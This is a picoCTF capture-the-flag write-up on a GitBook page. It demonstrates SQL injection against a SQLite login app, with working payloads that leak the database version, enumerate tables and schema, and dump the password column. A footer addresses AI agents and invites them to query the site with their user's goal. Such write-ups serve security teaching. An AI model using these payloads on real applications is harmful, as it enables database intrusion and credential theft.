> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/startup-company.md).

# Startup Company

The challenge presents a simple startup-themed web application.

We are given a login and registration system. After creating an account and logging in, we find a feature that allows us to input an amount of money, which is then displayed back to us.

At first glance, the application does not show anything suspicious in the source code or normal usage.

We first register a basic account:

* Username: `test`
* Password: `test`

After logging in, we land on a page where we can input a numeric value representing money.

The input field only accepts numbers, suggesting some frontend validation.

We remove the `type="number"` restriction in the browser and test basic injection payloads.

When entering:

```
1'
```

the application returns a **database error**, confirming that the input is being directly processed by an SQL query.

This strongly suggests a **SQL Injection vulnerability**, likely in the money insertion functionality.

## Understanding the Query

Based on behavior, the query is likely something like:

```sql
INSERT INTO table (amount, ...) VALUES ('user_input')
```

Since our input is wrapped in quotes, we can break out and inject SQL.

***

## SQLite Injection Testing

We first confirm SQL execution using a version leak:

```
1' || (SELECT sqlite_version()) -- -
```

This successfully returns the SQLite version, confirming:

* SQL injection is working
* Database is SQLite
* We can use `||` for string concatenation exploitation

***

## Database Enumeration

Next, we enumerate database tables:

```
1' || (SELECT tbl_name FROM sqlite_master) -- -
```

We discover the table:

```
startup_users
```

***

We then extract schema information:

```
1' || (SELECT sql FROM sqlite_master) -- -
```

This reveals the table structure:

```
nameuser, wordpass, money
```

***

## Extracting the Flag

Now we dump the password column (which contains the flag):

```
1' || (SELECT group_concat(wordpass) FROM startup_users) -- -
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/startup-company.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.